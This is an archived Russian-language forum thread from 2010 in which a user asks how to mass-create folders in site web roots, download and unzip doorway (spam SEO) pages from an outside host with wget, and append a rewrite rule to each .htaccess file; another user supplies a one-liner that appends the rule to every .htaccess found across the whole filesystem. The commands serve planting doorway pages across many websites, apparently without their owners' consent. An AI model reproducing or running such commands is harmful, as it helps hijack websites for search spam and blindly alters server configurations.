PDA

Просмотр полной версии : массово изменить файл .htaccess


_eXorcist_
20.05.2010, 22:39
Тема заключается в том что хочу массово создать папку в нужных мне директориях залить туда доры, переименовать индексный файл и изменить содержимое файла

.htaccess

AddDefaultCharset windows-1251

php_flag zlib.output_compression On
php_flag session.use_only_cookie On
php_flag session.use_trans_sid Off

RewriteEngine On


RewriteRule ^webstat(.*)$ - [L]
RewriteRule ^modules/(.*)$ - [L]
RewriteRule ^sys_tpl/(.*)$ - [L]
RewriteRule ^forum/(.*)$ - [L]
RewriteRule ^subsys/(.*)$ - [L]
RewriteRule ^jscripts/(.*)$ - [L]
RewriteRule ^shared/(.*)$ - [L]
RewriteRule robots.txt - [L]

RewriteRule ^(.*)$ router.php [L]

дописать надо следующее

RewriteRule ^share(.*)$ - [L]

вот примерный запрос как я делаю

cd /usr/home/lon/data/www/lon.com.ua/;mkdir share;cd /usr/home/lon/data/www/lon.com.ua/share;wget http://cm.ru/door/part_1/lon.com.ua.zip;unzip lon.com.ua.zip;cp index.html index.php;ls -la

нужно дописать команду которая дописывает строчку RewriteRule ^share(.*)$ - [L]

krypt3r
21.05.2010, 07:12
find + echo

_eXorcist_
21.05.2010, 10:48
find + echo
а поточнее если запрос продолжить то он как выглядеть будет ?

neval
25.05.2010, 17:55
for ht in `find / -name .htaccess`; do echo 'RewriteRule ^share(.*)$ - [L]' >> $ht; done